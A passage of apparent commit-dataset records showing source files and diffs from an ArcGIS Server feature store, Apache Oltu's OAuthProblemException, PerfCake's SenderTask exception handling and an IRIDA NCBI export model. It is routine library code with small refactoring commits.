this.put = _loadWrapper(this.put, this);
this.remove = _loadWrapper(this.remove, this);
this.query = _loadQueryWrapper(this.query, this);
},
/**
* Retrieves and object by its identity
* @param {Number} id The identity to use to lookup the object
* @return {Object}
*/
get: function(id) {
if (this._serviceInfo.templates ? !this.capabilities.Query : !this.capabilities.Data) {
throw new Error('Get not supported.');
} else {
var query = new Query();
query.outFields = this.outFields;
query.returnGeometry = this.returnGeometry;
if (typeof id === 'string') {
query.where = this.idProperty + ' = \'' + id + '\'';
} else {
query.where = this.idProperty + ' = ' + id;
}
return esriRequest({
url: this.url + '/query',
content: lang.mixin(query.toJson(), {
f: 'json'
}),
handleAs: 'json',
callbackParamName: 'callback'
}).then(lang.hitch(this, function(featureSet) {
if (featureSet.features && featureSet.features.length) {
return this.flatten ? this._flatten(featureSet.features[0]) : featureSet.features[0];
} else {
return undefined;
}
}));
}
},
/**
* Return an object's identity
* @param {Object} object The object to get the identity from
* @return {Number|String}
*/
getIdentity: function(object) {
return this.flatten ? object[this.idProperty] : lang.getObject('attributes.' + this.idProperty, false, object);
},
/**
* Stores an object
* @param {Object} object The object to store.
* @param {Object} options Additional options for storing objects
* @return {Number}
*/
put: function(object, options) {
options = options || {};
var id = ('id' in options) ? options.id : this.getIdentity(object);
if (typeof id !== 'undefined' && options.overwrite !== false) {
var dfd = new Deferred();
when(options.overwrite || this.get(id)).then(lang.hitch(this, function(existing) {
if (existing) {
if (this.capabilities.Update) {
object = this._unflatten(lang.clone(object));
lang.setObject('attributes.' + this.idProperty, id, object);
esriRequest({
url: this.url + '/updateFeatures',
content: {
f: 'json',
features: JSON.stringify([object])
},
handleAs: 'json',
callbackParamName: 'callback'
}, {
usePost: true
}).then(function(response) {
if (response.updateResults && response.updateResults.length) {
dfd.resolve(response.updateResults[0].success ? response.updateResults[0].objectId : undefined);
}
}, dfd.reject);
} else {
dfd.reject(new Error('Update not supported.'));
}
} else {
when(this.add(object, options)).then(dfd.resolve, dfd.reject);
}
}));
return dfd.promise;
} else if (options.overwrite) {
throw new Error('Cannot update object with no id.');
} else {
return this.add(object, options);
}
},
/**
* Creates an object, throws an error if the object already exists
* @param {Object} object The object to store.
* @param {Object} options Additional options for creating objects
* @return {Number}
*/
add: function(object, options) {
options = options || {};
if (this.capabilities.Create) {
var id = ('id' in options) ? options.id : this.getIdentity(object);
var clone = this._unflatten(lang.clone(object));
lang.setObject('attributes.' + this.idProperty, id, clone);
if (typeof id != 'undefined' && this.idProperty === this._serviceInfo.objectIdField) {
console.warn('Cannot set id on new object.');
}
return esriRequest({
url: this.url + '/addFeatures',
content: {
f: 'json',
features: JSON.stringify([clone])
},
handleAs: 'json',
callbackParamName: 'callback'
}, {
usePost: true
}).then(lang.hitch(this, function(response) {
if (response.addResults && response.addResults.length) {
if (this.idProperty === this._serviceInfo.objectIdField) {
var oid = response.addResults[0].success ? response.addResults[0].objectId : undefined;
lang.setObject((this.flatten ? '' : 'attributes.') + this.idProperty, oid, object);
return oid;
} else {
return response.addResults[0].success ? id : undefined;
}
}
}));
} else {
throw new Error('Add not supported.');
}
},
/**
* Deletes an object by its identity
* @param {Number} id The identity to use to delete the object
*/
remove: function(id) {
if (this.capabilities.Delete) {
var where = '';
if (typeof id === 'string') {
where = this.idProperty + ' = \'' + id + '\'';
} else if (typeof id !== 'undefined') {
where = this.idProperty + ' = ' + id;
}
return esriRequest({
url: this.url + '/deleteFeatures',
content: {
f: 'json',
where: where
},
handleAs: 'json',
callbackParamName: 'callback'
}, {
usePost: true
}).then(function(response) {
return !!(response && response.success);
});
} else {
throw new Error('Remove not supported.');
}
},
/**
* Queries the store for objects. This does not alter the store, but returns
* a set of data from the store.
* @param {String|Object|Function} query The query to use for retrieving objects from the store
* @param {Object} options Optional arguments to apply to the result set
* @return {Object} The results of the query, extended with iterative methods.
*/
query: function(query, options) {
query = (query instanceof Query) ? query : this._objectToQuery(query);
options = options || {};
if (this._serviceInfo.templates ? !this.capabilities.Query : !this.capabilities.Data) {
throw new Error('Query not supported.');
} else {
// Default Query Parameters
query.where = query.where || '1=1';
query.outFields = query.outFields || this.outFields;
query.returnGeometry = this.returnGeometry;
// Include Options
if (options.sort) {
query.orderByFields = array.map(options.sort, function(sortInfo) {
return sortInfo.descending ? sortInfo.attribute + ' DESC' : sortInfo.attribute;
});
}
var paginate = false;
options.start = isFinite(options.start) ? options.start : 0;
options.count = isFinite(options.count) ? options.count : 0;
if (options.start > 0 || options.count > 0) {
if (options.count > this._serviceInfo.maxRecordCount) {
console.warn('Cannot return more than ' + this._serviceInfo.maxRecordCount + ' items.');
}
if (lang.getObject('_serviceInfo.advancedQueryCapabilities.supportsPagination', false, this)) {
query.start = options.start;
query.num = options.count;
if (!query.orderByFields || query.orderByFields.length < 1) {
query.orderByFields = [this.idProperty];
}
} else {
paginate = true;
}
}
// Peform Query
var dfd = new Deferred();
if (paginate && options.start + options.count > this._serviceInfo.maxRecordCount) {
dfd.total = esriRequest({
url: this.url + '/query',
content: lang.mixin(query.toJson(), {
returnIdsOnly: true,
f: 'json'
}),
handleAs: 'json',
callbackParamName: 'callback'
}).then(lang.hitch(this, function(response) {
if (response.objectIds) {
query.where = '';
query.objectIds = response.objectIds.slice(options.start, options.start + options.count);
esriRequest({
url: this.url + '/query',
content: lang.mixin(query.toJson(), {
f: 'json'
}),
handleAs: 'json',
callbackParamName: 'callback'
}).then(lang.hitch(this, function(featureSet) {
if (this.flatten) {
featureSet.features = array.map(featureSet.features, lang.hitch(this, function(feature) {
return this._flatten(feature);
}));
}
dfd.resolve(featureSet.features);
}), dfd.reject);
return response.objectIds.length;
} else {
dfd.reject(response);
}
}), dfd.reject);
} else {
esriRequest({
url: this.url + '/query',
content: lang.mixin(query.toJson(), {
f: 'json'
}),
handleAs: 'json',
callbackParamName: 'callback'
}).then(lang.hitch(this, function(featureSet) {
if (paginate) {
featureSet.features = featureSet.features.slice(options.start, options.start + options.count);
}
if (this.flatten) {
featureSet.features = array.map(featureSet.features, lang.hitch(this, function(feature) {
return this._flatten(feature);
}));
}
dfd.resolve(featureSet.features);
}), dfd.reject);
dfd.total = esriRequest({
url: this.url + '/query',
content: lang.mixin(query.toJson(), {
returnCountOnly: true,
f: 'json'
}),
handleAs: 'json',
callbackParamName: 'callback'
}).then(function(response) {
return response.count;
});
}
return QueryResults(dfd); // jshint ignore:line
}
},
/**
* Starts a new transaction.
* @return {Object}
*/
transaction: function() {
},
/**
* Retrieves the children of an object
* @param {Object} parent The object of which to find children.
* @param {Object} options Additional options to apply to the retrieval of the children.
* @return {Object} A result set of the children of the parent object.
*/
getChildren: function(parent, options) {
},
/**
* Returns any metadata about the object. This may include attribution,
* cache directives, history, or version information.
* @param {Object} object The object for which to return metadata.
* @return {Object}
*/
getMetadata: function(object) {
},
/**
* Flatten attributes to top-level object
* @param {Object} object Object to flatten
* @return {Object} Flattened object
*/
_flatten: function(object) {
if (object.attributes) {
object = lang.mixin(object, object.attributes);
delete object.attributes;
}
return object;
},
/**
* Unflatten attributes to ArcGIS Server structure
* @param {Object} object Object to unflatten
* @return {Object} Unflattened object
*/
_unflatten: function(object) {
var field, fields;
if (this.outFields.length && this.outFields[0] !== '*') {
fields = this.outFields;
} else {
fields = array.map(this._serviceInfo.fields, function(field) {
return field.name;
});
}
for (field in object) {
if (object.hasOwnProperty(field) && array.indexOf(fields, field) !== -1) {
lang.setObject('attributes.' + field, object[field], object);
delete object[field];
}
}
return object;
},
/**
* Initializes store with ArcGIS service information
* @param {Object} serviceInfo service information
*/
_initStore: function(serviceInfo) {
// Validate idProperty
var validIdProperty = false;
if (this.idProperty) {
validIdProperty = array.some(serviceInfo.fields, lang.hitch(this, function(field) {
return field.name === this.idProperty;
}));
}
if (!validIdProperty) {
if (serviceInfo.objectIdField) {
this.idProperty = serviceInfo.objectIdField;
} else {
array.some(serviceInfo.fields, lang.hitch(this, function(field) {
if (field.type === 'esriFieldTypeOID') {
this.idProperty = field.name;
}
}));
}
}
// Validate outFields
if (this.outFields.length && this.outFields[0] !== '*') {
this.outFields = array.filter(this.outFields, function(fieldName) {
return array.some(serviceInfo.fields, function(field) {
return field.name === fieldName;
});
});
// Add idProperty
if (array.indexOf(this.outFields, this.idProperty) === -1) {
this.outFields.push(this.idProperty);
}
} else {
this.outFields = ['*'];
}
// Capabilities
if (serviceInfo.capabilities) {
var capabilities = serviceInfo.capabilities.split(',');
array.forEach(capabilities, lang.hitch(this, function(capability) {
this.capabilities[capability] = true;
}));
}
// Save service info
this._serviceInfo = serviceInfo;
// Set loaded
this._loaded = true;
},
/**
* Parses an object hash to a SQL where clause
* @param {Object} object Object hash
* @return {Object} Query object with where clause
*/
_objectToQuery: function(object) {
var escape = false;
var clauses = [];
for (var key in object) {
if (object.hasOwnProperty(key)) {
value = object[key];
if (value instanceof RegExp && typeof value.toString === 'function') {
var value = value.toString();
// Replace JavaScript special characters with SQL special characters
value = value.replace(/(\\\\)|(%|_)|(\\\*|\\\?)|(\*)|(\?)/g, function(str, backslash, special, literal, star, question) {
escape = escape || !!special;
return special ? '\\' + str : literal ? literal[1] : star ? '%' : question ? '_' : str;
});
clauses.push(key + ' LIKE \'' + value + '\'');
} else if (typeof value === 'string') {
value = value.replace(/(\\|%|_)/g, function(str) {
return '\\' + str;
});
clauses.push(key + ' = \'' + value + '\'');
} else {
clauses.push(key + ' = ' + value);
}
}
}
if (!escape) {
clauses = array.map(clauses, function(clause) {
return clause.replace(/(\\.)/g, function(str) {
return str[1];
});
});
}
var query = new Query();
query.where = clauses.join(' AND ') + (escape ? ' ESCAPE \'\\\'' : '');
return query;
}
});
}); | Remove ordering for total
| ArcGISServerStore.js | Remove ordering for total | <ide><path>rcGISServerStore.js
<ide> dfd.total = esriRequest({
<ide> url: this.url + '/query',
<ide> content: lang.mixin(query.toJson(), {
<add> orderByFields: '',
<ide> returnIdsOnly: true,
<ide> f: 'json'
<ide> }),
<ide> dfd.total = esriRequest({
<ide> url: this.url + '/query',
<ide> content: lang.mixin(query.toJson(), {
<add> orderByFields: '',
<ide> returnCountOnly: true,
<ide> f: 'json'
<ide> }), |
|
Java | apache-2.0 | cd47200239c466b0f2f492b87ae27c492447bb4e | 0 | englishtown/oltu,apache/oltu,englishtown/oltu,sncap/oltu,sncap/oltu,apache/oltu | /**
* Copyright 2010 Newcastle University
*
* http://research.ncl.ac.uk/smart/
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.oltu.oauth2.common.exception;
import java.util.HashMap;
import java.util.Map;
import org.apache.oltu.oauth2.common.utils.OAuthUtils;
/**
*
*
*
*/
public class OAuthProblemException extends Exception {
private String error;
private String description;
private String uri;
private String state;
private String scope;
private String redirectUri;
private int responseStatus;
private Map<String, String> parameters = new HashMap<String, String>();
protected OAuthProblemException(String error) {
this(error, "");
}
protected OAuthProblemException(String error, String description) {
super(error + " " + description);
this.description = description;
this.error = error;
}
public static OAuthProblemException error(String error) {
return new OAuthProblemException(error);
}
public static OAuthProblemException error(String error, String description) {
return new OAuthProblemException(error, description);
}
public OAuthProblemException description(String description) {
this.description = description;
return this;
}
public OAuthProblemException uri(String uri) {
this.uri = uri;
return this;
}
public OAuthProblemException state(String state) {
this.state = state;
return this;
}
public OAuthProblemException scope(String scope) {
this.scope = scope;
return this;
}
public OAuthProblemException responseStatus(int responseStatus) {
this.responseStatus = responseStatus;
return this;
}
public OAuthProblemException setParameter(String name, String value) {
parameters.put(name, value);
return this;
}
public String getError() {
return error;
}
public String getDescription() {
return description;
}
public String getUri() {
return uri;
}
public String getState() {
return state;
}
public String getScope() {
return scope;
}
public int getResponseStatus() {
return responseStatus == 0 ? 400 : responseStatus;
}
public String get(String name) {
return parameters.get(name);
}
public Map<String, String> getParameters() {
return parameters;
}
public String getRedirectUri() {
return redirectUri;
}
public void setRedirectUri(String redirectUri) {
this.redirectUri = redirectUri;
}
@Override
public String getMessage() {
StringBuilder b = new StringBuilder();
if (!OAuthUtils.isEmpty(error)) {
b.append(error);
}
if (!OAuthUtils.isEmpty(description)) {
b.append(", ").append(description);
}
if (!OAuthUtils.isEmpty(uri)) {
b.append(", ").append(uri);
}
if (!OAuthUtils.isEmpty(state)) {
b.append(", ").append(state);
}
if (!OAuthUtils.isEmpty(scope)) {
b.append(", ").append(scope);
}
return b.toString();
}
@Override
public String toString() {
return "OAuthProblemException{" +
"error='" + error + '\'' +
", description='" + description + '\'' +
", uri='" + uri + '\'' +
", state='" + state + '\'' +
", scope='" + scope + '\'' +
", redirectUri='" + redirectUri + '\'' +
", responseStatus=" + responseStatus +
", parameters=" + parameters +
'}';
}
}
| oauth-2.0/common/src/main/java/org/apache/oltu/oauth2/common/exception/OAuthProblemException.java | /**
* Copyright 2010 Newcastle University
*
* http://research.ncl.ac.uk/smart/
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.oltu.oauth2.common.exception;
import java.util.HashMap;
import java.util.Map;
import org.apache.oltu.oauth2.common.utils.OAuthUtils;
/**
*
*
*
*/
public final class OAuthProblemException extends Exception {
private String error;
private String description;
private String uri;
private String state;
private String scope;
private String redirectUri;
private int responseStatus;
private Map<String, String> parameters = new HashMap<String, String>();
private OAuthProblemException(String error) {
this(error, "");
}
private OAuthProblemException(String error, String description) {
super(error + " " + description);
this.description = description;
this.error = error;
}
public static OAuthProblemException error(String error) {
return new OAuthProblemException(error);
}
public static OAuthProblemException error(String error, String description) {
return new OAuthProblemException(error, description);
}
public OAuthProblemException description(String description) {
this.description = description;
return this;
}
public OAuthProblemException uri(String uri) {
this.uri = uri;
return this;
}
public OAuthProblemException state(String state) {
this.state = state;
return this;
}
public OAuthProblemException scope(String scope) {
this.scope = scope;
return this;
}
public OAuthProblemException responseStatus(int responseStatus) {
this.responseStatus = responseStatus;
return this;
}
public OAuthProblemException setParameter(String name, String value) {
parameters.put(name, value);
return this;
}
public String getError() {
return error;
}
public String getDescription() {
return description;
}
public String getUri() {
return uri;
}
public String getState() {
return state;
}
public String getScope() {
return scope;
}
public int getResponseStatus() {
return responseStatus == 0 ? 400 : responseStatus;
}
public String get(String name) {
return parameters.get(name);
}
public Map<String, String> getParameters() {
return parameters;
}
public String getRedirectUri() {
return redirectUri;
}
public void setRedirectUri(String redirectUri) {
this.redirectUri = redirectUri;
}
@Override
public String getMessage() {
StringBuilder b = new StringBuilder();
if (!OAuthUtils.isEmpty(error)) {
b.append(error);
}
if (!OAuthUtils.isEmpty(description)) {
b.append(", ").append(description);
}
if (!OAuthUtils.isEmpty(uri)) {
b.append(", ").append(uri);
}
if (!OAuthUtils.isEmpty(state)) {
b.append(", ").append(state);
}
if (!OAuthUtils.isEmpty(scope)) {
b.append(", ").append(scope);
}
return b.toString();
}
@Override
public String toString() {
return "OAuthProblemException{" +
"error='" + error + '\'' +
", description='" + description + '\'' +
", uri='" + uri + '\'' +
", state='" + state + '\'' +
", scope='" + scope + '\'' +
", redirectUri='" + redirectUri + '\'' +
", responseStatus=" + responseStatus +
", parameters=" + parameters +
'}';
}
}
| OLTU-121 Make OAuthProblemException extensible
git-svn-id: a4d8be2f64efba2c1f29d237e3fd81c1ca7f5b6d@1528056 13f79535-47bb-0310-9956-ffa450edef68
| oauth-2.0/common/src/main/java/org/apache/oltu/oauth2/common/exception/OAuthProblemException.java | OLTU-121 Make OAuthProblemException extensible | <ide><path>auth-2.0/common/src/main/java/org/apache/oltu/oauth2/common/exception/OAuthProblemException.java
<ide> *
<ide> *
<ide> */
<del>public final class OAuthProblemException extends Exception {
<add>public class OAuthProblemException extends Exception {
<ide>
<ide> private String error;
<ide> private String description;
<ide>
<ide> private Map<String, String> parameters = new HashMap<String, String>();
<ide>
<del> private OAuthProblemException(String error) {
<add> protected OAuthProblemException(String error) {
<ide> this(error, "");
<ide> }
<ide>
<del> private OAuthProblemException(String error, String description) {
<add> protected OAuthProblemException(String error, String description) {
<ide> super(error + " " + description);
<ide> this.description = description;
<ide> this.error = error; |
|
Java | apache-2.0 | 9b5a7182c1d79d0e8eea7eb2b82be043410e1952 | 0 | vjuranek/PerfCake,vjuranek/PerfCake,vjuranek/PerfCake,PerfCake/PerfCake,PerfCake/PerfCake,vjuranek/PerfCake,PerfCake/PerfCake,PerfCake/PerfCake | /*
* -----------------------------------------------------------------------\
* PerfCake
*
* Copyright (C) 2010 - 2013 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* -----------------------------------------------------------------------/
*/
package org.perfcake.message.generator;
import org.apache.log4j.Level;
import org.apache.log4j.Logger;
import org.perfcake.PerfCakeConst;
import org.perfcake.message.Message;
import org.perfcake.message.MessageTemplate;
import org.perfcake.message.ReceivedMessage;
import org.perfcake.message.sender.MessageSender;
import org.perfcake.message.sender.MessageSenderManager;
import org.perfcake.reporting.MeasurementUnit;
import org.perfcake.reporting.ReportManager;
import org.perfcake.validation.ValidationManager;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Properties;
import java.util.concurrent.Semaphore;
/**
* <p> The sender task is a runnable class that is executing a single task of sending the message(s) from the message store using instances of {@link MessageSender} provided by message sender manager (see {@link MessageSenderManager}), receiving the message sender's response and handling the reporting and response message validation. </p> <p> It is used by the generators. </p>
*
* @author Pavel Macík <[email protected]>
* @author Martin Večeřa <[email protected]>
*/
class SenderTask implements Runnable {
/**
* Sender task's logger.
*/
private Logger log = Logger.getLogger(SenderTask.class);
/**
* Reference to a message sender manager that is providing the message senders.
*/
private MessageSenderManager senderManager;
/**
* Reference to a message store where the messages are taken from.
*/
private List<MessageTemplate> messageStore;
/**
* Indicates whether the message numbering is enabled or disabled.
*/
private boolean messageNumberingEnabled;
/**
* Reference to a report manager.
*/
private ReportManager reportManager;
/**
* A reference to the current validator manager. It is used to validate message responses.
*/
private ValidationManager validationManager;
/**
* Semaphore used from the outside of SenderTask, it controls the amount of prepared tasks in a buffer.
*/
private Semaphore semaphore;
// limit the possibilities to construct this class
protected SenderTask(Semaphore semaphore) {
this.semaphore = semaphore;
}
private Serializable sendMessage(final MessageSender sender, final Message message, final HashMap<String, String> messageHeaders, final MeasurementUnit mu) {
try {
sender.preSend(message, messageHeaders);
} catch (Exception e) {
if (log.isEnabledFor(Level.ERROR)) {
log.error("Exception occurred!", e);
}
}
mu.startMeasure();
Serializable result = null;
try {
result = sender.send(message, messageHeaders, mu);
} catch (Exception e) {
if (log.isEnabledFor(Level.ERROR)) {
log.error("Exception occurred!", e);
}
}
mu.stopMeasure();
try {
sender.postSend(message);
} catch (Exception e) {
if (log.isEnabledFor(Level.ERROR)) {
log.error("Exception occurred!", e);
}
}
return result;
}
@Override
public void run() {
assert messageStore != null && reportManager != null && validationManager != null && senderManager != null : "SenderTask was not properly initialized.";
final Properties messageAttributes = new Properties();
final HashMap<String, String> messageHeaders = new HashMap<>();
MessageSender sender = null;
ReceivedMessage receivedMessage = null;
try {
MeasurementUnit mu = reportManager.newMeasurementUnit();
if (mu != null) {
// only set numbering to headers if it is enabled, later there is no change to
// filter out the headers before sending
if (messageNumberingEnabled) {
messageHeaders.put(PerfCakeConst.MESSAGE_NUMBER_HEADER, String.valueOf(mu.getIteration()));
messageAttributes.setProperty(PerfCakeConst.MESSAGE_NUMBER_PROPERTY, String.valueOf(mu.getIteration()));
}
sender = senderManager.acquireSender();
Iterator<MessageTemplate> iterator = messageStore.iterator();
if (iterator.hasNext()) {
while (iterator.hasNext()) {
MessageTemplate messageToSend = iterator.next();
Message currentMessage = messageToSend.getFilteredMessage(messageAttributes);
long multiplicity = messageToSend.getMultiplicity();
for (int i = 0; i < multiplicity; i++) {
receivedMessage = new ReceivedMessage(sendMessage(sender, currentMessage, messageHeaders, mu), messageToSend, currentMessage);
if (validationManager.isEnabled()) {
validationManager.addToResultMessages(receivedMessage);
}
}
}
} else {
receivedMessage = new ReceivedMessage(sendMessage(sender, null, messageHeaders, mu), null, null);
if (validationManager.isEnabled()) {
validationManager.addToResultMessages(receivedMessage);
}
}
senderManager.releaseSender(sender); // !!! important !!!
sender = null;
reportManager.report(mu);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (semaphore != null) {
semaphore.release();
}
if (sender != null) {
senderManager.releaseSender(sender);
}
}
}
protected void setSenderManager(final MessageSenderManager senderManager) {
this.senderManager = senderManager;
}
protected void setMessageStore(final List<MessageTemplate> messageStore) {
this.messageStore = messageStore;
}
protected void setMessageNumberingEnabled(final boolean messageNumberingEnabled) {
this.messageNumberingEnabled = messageNumberingEnabled;
}
protected void setReportManager(final ReportManager reportManager) {
this.reportManager = reportManager;
}
protected void setValidationManager(final ValidationManager validationManager) {
this.validationManager = validationManager;
}
} | src/main/java/org/perfcake/message/generator/SenderTask.java | /*
* -----------------------------------------------------------------------\
* PerfCake
*
* Copyright (C) 2010 - 2013 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* -----------------------------------------------------------------------/
*/
package org.perfcake.message.generator;
import org.apache.log4j.Level;
import org.apache.log4j.Logger;
import org.perfcake.PerfCakeConst;
import org.perfcake.message.Message;
import org.perfcake.message.MessageTemplate;
import org.perfcake.message.ReceivedMessage;
import org.perfcake.message.sender.MessageSender;
import org.perfcake.message.sender.MessageSenderManager;
import org.perfcake.reporting.MeasurementUnit;
import org.perfcake.reporting.ReportManager;
import org.perfcake.validation.ValidationManager;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Properties;
import java.util.concurrent.Semaphore;
/**
* <p> The sender task is a runnable class that is executing a single task of sending the message(s) from the message store using instances of {@link MessageSender} provided by message sender manager (see {@link MessageSenderManager}), receiving the message sender's response and handling the reporting and response message validation. </p> <p> It is used by the generators. </p>
*
* @author Pavel Macík <[email protected]>
* @author Martin Večeřa <[email protected]>
*/
class SenderTask implements Runnable {
/**
* Sender task's logger.
*/
private Logger log = Logger.getLogger(SenderTask.class);
/**
* Reference to a message sender manager that is providing the message senders.
*/
private MessageSenderManager senderManager;
/**
* Reference to a message store where the messages are taken from.
*/
private List<MessageTemplate> messageStore;
/**
* Indicates whether the message numbering is enabled or disabled.
*/
private boolean messageNumberingEnabled;
/**
* Reference to a report manager.
*/
private ReportManager reportManager;
/**
* A reference to the current validator manager. It is used to validate message responses.
*/
private ValidationManager validationManager;
/**
* Semaphore used from the outside of SenderTask, it controls the amount of prepared tasks in a buffer.
*/
private Semaphore semaphore;
// limit the possibilities to construct this class
protected SenderTask(Semaphore semaphore) {
this.semaphore = semaphore;
}
private Serializable sendMessage(final MessageSender sender, final Message message, final HashMap<String, String> messageHeaders, final MeasurementUnit mu) {
try {
sender.preSend(message, messageHeaders);
mu.startMeasure();
final Serializable result = sender.send(message, messageHeaders, mu);
mu.stopMeasure();
sender.postSend(message);
return result;
} catch (Exception e) {
if (log.isEnabledFor(Level.ERROR)) {
log.error("Exception occurred!", e);
}
}
return null;
}
@Override
public void run() {
assert messageStore != null && reportManager != null && validationManager != null && senderManager != null : "SenderTask was not properly initialized.";
final Properties messageAttributes = new Properties();
final HashMap<String, String> messageHeaders = new HashMap<>();
MessageSender sender = null;
ReceivedMessage receivedMessage = null;
try {
MeasurementUnit mu = reportManager.newMeasurementUnit();
if (mu != null) {
// only set numbering to headers if it is enabled, later there is no change to
// filter out the headers before sending
if (messageNumberingEnabled) {
messageHeaders.put(PerfCakeConst.MESSAGE_NUMBER_HEADER, String.valueOf(mu.getIteration()));
messageAttributes.setProperty(PerfCakeConst.MESSAGE_NUMBER_PROPERTY, String.valueOf(mu.getIteration()));
}
sender = senderManager.acquireSender();
Iterator<MessageTemplate> iterator = messageStore.iterator();
if (iterator.hasNext()) {
while (iterator.hasNext()) {
MessageTemplate messageToSend = iterator.next();
Message currentMessage = messageToSend.getFilteredMessage(messageAttributes);
long multiplicity = messageToSend.getMultiplicity();
for (int i = 0; i < multiplicity; i++) {
receivedMessage = new ReceivedMessage(sendMessage(sender, currentMessage, messageHeaders, mu), messageToSend, currentMessage);
if (validationManager.isEnabled()) {
validationManager.addToResultMessages(receivedMessage);
}
}
}
} else {
receivedMessage = new ReceivedMessage(sendMessage(sender, null, messageHeaders, mu), null, null);
if (validationManager.isEnabled()) {
validationManager.addToResultMessages(receivedMessage);
}
}
senderManager.releaseSender(sender); // !!! important !!!
sender = null;
reportManager.report(mu);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (semaphore != null) {
semaphore.release();
}
if (sender != null) {
senderManager.releaseSender(sender);
}
}
}
protected void setSenderManager(final MessageSenderManager senderManager) {
this.senderManager = senderManager;
}
protected void setMessageStore(final List<MessageTemplate> messageStore) {
this.messageStore = messageStore;
}
protected void setMessageNumberingEnabled(final boolean messageNumberingEnabled) {
this.messageNumberingEnabled = messageNumberingEnabled;
}
protected void setReportManager(final ReportManager reportManager) {
this.reportManager = reportManager;
}
protected void setValidationManager(final ValidationManager validationManager) {
this.validationManager = validationManager;
}
} | fixed sender task exception handling
| src/main/java/org/perfcake/message/generator/SenderTask.java | fixed sender task exception handling | <ide><path>rc/main/java/org/perfcake/message/generator/SenderTask.java
<ide> private Serializable sendMessage(final MessageSender sender, final Message message, final HashMap<String, String> messageHeaders, final MeasurementUnit mu) {
<ide> try {
<ide> sender.preSend(message, messageHeaders);
<del>
<del> mu.startMeasure();
<del> final Serializable result = sender.send(message, messageHeaders, mu);
<del> mu.stopMeasure();
<del>
<del> sender.postSend(message);
<del>
<del> return result;
<ide> } catch (Exception e) {
<ide> if (log.isEnabledFor(Level.ERROR)) {
<ide> log.error("Exception occurred!", e);
<ide> }
<ide> }
<del> return null;
<add>
<add> mu.startMeasure();
<add>
<add> Serializable result = null;
<add> try {
<add> result = sender.send(message, messageHeaders, mu);
<add> } catch (Exception e) {
<add> if (log.isEnabledFor(Level.ERROR)) {
<add> log.error("Exception occurred!", e);
<add> }
<add> }
<add> mu.stopMeasure();
<add>
<add> try {
<add> sender.postSend(message);
<add> } catch (Exception e) {
<add> if (log.isEnabledFor(Level.ERROR)) {
<add> log.error("Exception occurred!", e);
<add> }
<add> }
<add>
<add> return result;
<ide> }
<ide>
<ide> @Override |
|
Java | apache-2.0 | 9e31ea229879ff5915cb7ee8a54bf6c28989c0f1 | 0 | phac-nml/irida,phac-nml/irida,phac-nml/irida,phac-nml/irida,phac-nml/irida,phac-nml/irida,phac-nml/irida,phac-nml/irida | package ca.corefacility.bioinformatics.irida.ria.web.models.export;
import java.util.List;
import java.util.stream.Collectors;
import ca.corefacility.bioinformatics.irida.model.export.NcbiBioSampleFiles;
import ca.corefacility.bioinformatics.irida.ria.web.models.sequenceFile.PairedEndSequenceFileModel;
import ca.corefacility.bioinformatics.irida.ria.web.models.sequenceFile.SingleEndSequenceFileModel;
/**
* Describes an NCBI SRA Submission's BioSamples's files for the UI.
*/
public class NcbiBioSampleFilesModel {
private final String id;
private final String bioSample;
private final String instrumentModel;
private final String libraryName;
private final String librarySelection;
private final String librarySource;
private final String libraryStrategy;
private final String libraryConstructionProtocol;
private final String status;
private final String accession;
private final List<SingleEndSequenceFileModel> singles;
private final List<PairedEndSequenceFileModel> pairs;
public NcbiBioSampleFilesModel(NcbiBioSampleFiles bioSample) {
this.id = bioSample.getId();
this.bioSample = bioSample.getBioSample();
this.instrumentModel = bioSample.getInstrumentModel().getValue();
this.libraryName = bioSample.getLibraryName();
this.librarySelection = bioSample.getLibrarySelection().getValue();
this.librarySource = bioSample.getLibrarySource().getValue();
this.libraryStrategy = bioSample.getLibraryStrategy().getValue();
this.libraryConstructionProtocol = bioSample.getLibraryConstructionProtocol();
this.status = bioSample.getSubmissionStatus().toString();
this.accession = bioSample.getAccession();
this.singles = bioSample.getFiles().stream().map(SingleEndSequenceFileModel::new).collect(Collectors.toList());
this.pairs = bioSample.getPairs().stream().map(PairedEndSequenceFileModel::new).collect(Collectors.toList());
}
public String getId() {
return id;
}
public String getBioSample() {
return bioSample;
}
public String getInstrumentModel() {
return instrumentModel;
}
public String getLibraryName() {
return libraryName;
}
public String getLibrarySelection() {
return librarySelection;
}
public String getLibrarySource() {
return librarySource;
}
public String getLibraryStrategy() {
return libraryStrategy;
}
public String getLibraryConstructionProtocol() {
